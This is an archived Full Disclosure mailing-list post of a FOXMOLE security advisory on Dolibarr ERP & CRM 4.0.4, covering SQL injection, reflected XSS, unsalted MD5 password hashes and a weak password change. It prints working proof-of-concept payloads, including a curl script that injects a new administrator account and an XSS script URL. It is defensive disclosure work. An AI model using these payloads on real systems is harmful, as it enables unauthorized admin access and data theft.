full-disclosure - [FD] [FOXMOLE SA 2017-02-23] Dolibarr ERP & CRM

Open Source and information security mailing list archives

Message-ID: <329b139f-ec84-0df0-3b98-40dbbc0f9728@foxmole.com>
Date: Wed, 10 May 2017 10:26:35 +0200
From: FOXMOLE Advisories <advisories@...mole.com>
To: <fulldisclosure@...lists.org>, <bugtraq@...urityfocus.com>,
 <bugs@...uritytracker.com>, <submissions@...ketstormsecurity.org>
Subject: [FD] [FOXMOLE SA 2017-02-23] Dolibarr ERP & CRM - Multiple Issues

=== FOXMOLE - Security Advisory 2017-02-23 ===

Dolibarr ERP & CRM  - Multiple Issues
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Affected Versions
=================
Dolibarr 4.0.4

Issue Overview
==============
Vulnerability Type: SQL Injection, Cross Site Scripting,
                    Weak Hash Algorithm without Salt, Weak Password Change Method
Technical Risk: critical
Likelihood of Exploitation: medium
Vendor: Dolibarr
Vendor URL: https://www.dolibarr.org/
Credits: FOXMOLE employees Tim Herres and Stefan Pietsch
Advisory URL: https://www.foxmole.com/advisories/foxmole-2017-02-23.txt
Advisory Status: Public
OVE-ID: OVE-20170223-0001
CVE Number: CVE-2017-7886, CVE-2017-7887, CVE-2017-7888
CVE URL: https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-7886
         https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-7887
         https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-7888
CWE-ID: CWE-79, CWE-89, CWE-327, CWE-620, CWE-759
CVSS 2.0: 10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C)

Impact
======
There are SQL injection vulnerabilities, exploitable without authentication.
An attacker could use the SQL Injection to access the database in an unsafe way.
This means there is a high impact to all Dolibarr installations.
The passwords in the database are stored as MD5 hashes which means they are easily crackable.
The Dolibarr software also lacks input validation resulting in different reflected XSS vulnerabilities.

Information
===========
We only provide examples for issues, there are quite more.
It is really important to check the whole application for further vulnerabilities.
We want that developers change the overall security according to security best
practices instead of fixing only particular issues.

Issue Description
=================

All items tested using FF52.

1.) SQL Injection in style.css.php (CVE-2017-7886)
Authentication Required:No

PoC:
http://192.168.241.143/doli/theme/eldy/style.css.php?lang=de%27%20procedure%20analyse(extractvalue(rand()%2cconcat(concat(0x3a,CURRENT_USER())))%2c1)--%201

PoC creating a new admin user via SQL Injection:

##################################################################################
#!/bin/bash
URL="http://192.168.19.19/theme/eldy/style.css.php?lang=de%27%3BINSERT%20INTO%20\
llx_user%20VALUES%20(424242%2C%200%2C%20NULL%2C%20NULL%2C%201%2C%200%2C%20%27\
1984-01-01%2000%3A00%3A00%27%2C%20%271984-01-01%2000%3A00%3A00.000%27%2C%20NULL\
%2C%20NULL%2C%20%27newadmin%27%2C%20NULL%2C%20%2761529519452809720693702583126814\
%27%2C%20NULL%2C%20NULL%2C%20%27%27%2C%20NULL%2C%20%27SuperAdmin%27%2C%20%27%27\
%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20NULL%2C%20NULL%2C%20%27%27%2C%20%27\
%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%201%2C%201%2C\
%201%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20%27%27%2C%20%27\
2017-03-10%2000%3A00%3A00%27%2C%20%272017-03-10%2000%3A00%3A00%27%2C%20NULL%2C\
%20%27%27%2C%20NULL%2C%201%2C%20NULL%2C%20NULL%2C%20%27%27%2C%20NULL%2C%200%2C\
%20%27%27%2C%200%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL)%3B--%27"

curl -s ${URL}
##################################################################################

The script creates the user 'NEWADMIN' with password 'ximaz'.

2.) Cross Site Scripting Reflected (CVE-2017-7887)
http://192.168.241.143/doli/societe/list.php?sall=asd%3Cscript%3Ealert(%22xss%22)%3C%2Fscript%3E

3.) Passwords stored using MD5 hashes (CVE-2017-7888)
The application stored the passwords using the MD5 hash algorithm without a
salt. The MD5 hash is easily crackable.

dolibarr=# SELECT login,pass_crypted FROM llx_user;
 login |           pass_crypted
-------+----------------------------------
 admin | 21232f297a57a5a743894a0e4a801fc3

4.) Unsafe password change method
A user can change his password without entering the recent one.

Temporary Workaround and Fix
============================
FOXMOLE advises to restrict the access to all vulnerable Dolibarr systems until all vulnerabilities are fixed.

History
=======
2017-02-15  Issue discovered
2017-03-06  Vendor contacted
2017-03-27  informed Vendor about disclosure date (2017-05-10)
2017-04-18  added CVE Numbers
2017-05-10  Advisory Release

GPG Signature
=============
This advisory is signed with the GPG key of the FOXMOLE advisories team.
The key can be downloaded here: https://www.foxmole.com/advisories-key-3812092199E3277C.asc

Download attachment "signature.asc" of type "application/pgp-signature" (834 bytes)

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives